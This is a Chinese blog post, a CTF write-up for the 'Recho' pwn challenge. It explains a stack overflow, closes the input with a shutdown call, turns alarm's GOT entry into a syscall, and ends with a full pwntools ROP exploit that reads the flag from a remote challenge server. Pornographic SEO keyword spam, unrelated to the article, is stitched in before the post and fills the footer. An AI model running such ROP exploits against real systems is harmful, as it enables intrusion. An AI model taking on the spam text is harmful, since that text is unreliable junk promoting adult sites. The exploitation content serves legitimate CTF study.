<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      攻防世界pwn題:Recho

      0x00:查看文件信息

      一個64位二進制文件,canaryPIE保護機制沒開。

       

      0x01:用IDA進行靜態分析

       

       

      分析:主程序部分是一個while循環,判斷條件是read返回值大于0則循環。函數atoi()是將一個字符串轉換成整型數據,看栗子:

       

      這樣子v7可以由我們所決定,所以很明顯第15行存在棧溢出。

       

      個人想法:

      看到程序有一堆輸入輸出函數,我首先想到的是ret2libc3。在嘗試的過程中發現無論如何都跳不出while循環,使用io=send('')不可以。思考無果,上網找WP。在海師傅的文章中,了解到可以用shutdown函數進行操作。而且海師傅是以另外的思路進行泄露的,下面我就借鑒海師傅的思路進行描述。

       

      0x02:深入分析

      首先說一下結束循環的方法:

      使用io.shutdown('write')進行關閉(為啥是write呢?)

      測試一下:

      read不可以,send可以???,recv不可以。在測試sendline時,報錯看到了重要信息:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以說明只能用這六個參數。然后繼續測試,in不可以,out可以)。

      這樣子的話,這樣總結為不要以程序為對象。而是看參數的函數操縱數據的流向。writesendout可以,說明由內向外是可以的,反則反方向不可以。(很抱歉,由于資料缺乏。難以從本質上了解。目前先這么考慮著)

       

      另外,因為關閉后就不能打開了,除非重新運行程序,所以我們就不能再次ROP到主函數獲取輸入了。這樣很明顯就不能用ret2libc3泄露了,雖然你可以第一次泄露出遠程libc的版本。但由于機器一般都開有aslr保護機制,這樣子libc加載的位置就會在重新執行后發生了改變了。

      所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag

       

      可以構造這樣的代碼來get flag

      1int fd = open("flag",READONLY) (注:READONLY=0

      2read(fd,buf,100)

      3、printf(buf)

       

      1、int fd = open("flag",READONLY)

      程序中已經導入了writeprintfalarmread函數,還缺個open函數。open和這些已導入的函數都是通過系統調用進行調用的,所以libc中應該有系統調用的相關指令,然后改變rax寄存器,使系統調用號變為open的就可以了。

       

      先了解一下32位和64位下的匯編指令的系統調用:

      • 32位:
        • 傳參方式:首先將系統調用號傳入eax,然后將參數從左到右依次存入ebxecxedx寄存器中,返回值存在eax寄存器中。
        • 調用號:sys_read3,sys_write4
        • 調用方式:使用int 80h中斷進行系統調用
      • 64位:
        • 傳參方式:首先將系統調用號傳入rax,然后將參數從左到右依次存入rdirsirdx寄存器中,返回值存在rax寄存器中。
        • 調用號:sys_read0sys_write1sys_open2
        • 調用方式:使用syscall指令進行系統調用

       

      隨便打開個libc,查看alarm函數:

       

       

      系統調用指令syscallalarm起始位置偏移5的位置。可以對alarm.got的值加5,這需要對libc的函數地址運行一次后加載到got表上后進行操作。這里有個gadget可以達到該目的:

       

       

      分別對這兩行右鍵,進行undefine。然后對第一行右鍵,進行code。就可以得到如下gadget

       

       

      指令 add [rdi],al ,我們可以先讓rdi = got['alarm'],然后使al = 5,這樣執行完該指令后,alarm對應的got表的值就指向了syscall指令。

      其它相關的指令:

       

       

      想要看機器碼的,可以在options->general進行設置:

       

      在改了alarm.gotsyscall后,在跳轉到syscall開始系統調用之前,還需要做好與open函數相關的準備。有rax=2rdi=&"flag"rsi = 0

       

      pop rax前面已經找出來了,至于字符串"flag"的話,在程序中是有的。但在ida中用shift+f12是看不到的,可能是因為"flag"在數據段,但是shift+f12沒有查找數據段的。我們可以在linux終端用strings ./Recho命令查看,或者用ida的菜單欄中的查找文本功能。

       

       

      字符串"flag"

       

       

      pop rsi指令在__libc_csu_init處有,不過沒那么"",倒也不影響:

       

       

      這一段的payload:
      
      payload = b'A'*0x38
      payload += p64(pop_rdi) + p64(alarm_got)
      payload += p64(pop_rax) + p64(0x05)
      payload += p64(rdi_add)
      
      payload += p64(pop_rsi_r15) + p64(0) + p64(0)
      payload += p64(pop_rdi) + p64(flag)
      payload += p64(pop_rax) + p64(2)
      payload += p64(alarm_plt)

       

      2、read(fd,buf,100)

      文件描述符012程序已經默認分配了,前面用open函數打開文件的文件描述符應該是3(不行的話可以試試456……)。buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)

       

       

      這樣子,這一部分的payload為:
      
      payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
      payload += p64(pop_rdi) + p64(3)
      payload += p64(pop_rdx) + p64(100)
      payload += p64(read_plt)

       

      3、printf(buf)

      printf函數把第二部分存入stdin_bufferflag打印出來。

      payload為:

      payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

       

      整體EXP

      from pwn import *
      import time
      context(os='linux', arch='amd64', log_level='debug')
      
      #io = process("./Recho")
      io = remote("111.200.241.244",59230)
      elf = ELF("./Recho")
      
      pop_rax = 0x4006FC
      pop_rdx = 0x4006FE
      pop_rsi_r15 = 0x4008A1
      pop_rdi = 0x4008A3
      rdi_add = 0x40070D
      
      flag = 0x601058
      stdin_buffer = 0x601070
      alarm_got = elf.got['alarm']
      alarm_plt = elf.plt['alarm']
      read_plt = elf.plt['read']
      printf_plt = elf.plt['printf']
      
      io.recvuntil("Welcome to Recho server!\n")
      io.sendline("400")
      
      payload = b'A'*0x38
      payload += p64(pop_rdi) + p64(alarm_got)
      payload += p64(pop_rax) + p64(0x05)
      payload += p64(rdi_add)
      
      payload += p64(pop_rsi_r15) + p64(0) + p64(0)
      payload += p64(pop_rdi) + p64(flag)
      payload += p64(pop_rax) + p64(2)
      payload += p64(alarm_plt)
      
      payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
      payload += p64(pop_rdi) + p64(3)
      payload += p64(pop_rdx) + p64(100)
      payload += p64(read_plt)
      payload
      += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
      payload
      = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()

       

      0x03:個人感觸

       累~

      這題要在程序里面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看匯編,深入理解程序執行過程中匯編指令的協助。二進制的道路,任重而道遠~


       

       tolele

      2022-07-02

      posted @ 2022-07-02 18:38  tolele  閱讀(786)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 日韩av天堂综合网久久| 国产精品中文字幕在线| 国产午夜一区二区在线观看| 国产精品理论片| 极品无码国模国产在线观看| 日本一码二码三码的区分| 国产成人av免费观看| 噜噜噜噜私人影院| 粉嫩小泬无遮挡久久久久久| 人妻少妇一区二区三区| 爱性久久久久久久久| 最近2019中文字幕大全第二页| 极品无码国模国产在线观看 | 人人妻人人做人人爽夜欢视频| 40岁大乳的熟妇在线观看| 免费人成视频网站在线观看18| 国产视频一区二区在线看| 蜜臀av入口一区二区三区| 国产在线线精品宅男网址| 成人国产精品日本在线观看| 国产午夜精品亚洲精品国产| 人妻少妇久久中文字幕| 亚洲国产午夜精品理论片| 亚洲AV无码一区二区一二区色戒| 99久久婷婷国产综合精品青草漫画 | 亚洲AV无码一二区三区在线播放| 国产成人无码A区在线观看视频| 国产成人永久免费av在线| 国产日韩成人内射视频| 国产极品尤物粉嫩在线观看| 无码专区 人妻系列 在线| 东光县| 国产视频有码字幕一区二区| 欧美国产日产一区二区| 永昌县| 国产成人a∨激情视频厨房| 不卡高清AV手机在线观看| 绯色蜜臀av一区二区不卡| 国产成人精品免费视频app软件| 99热精品毛片全部国产无缓冲| 国产熟女一区二区三区蜜臀|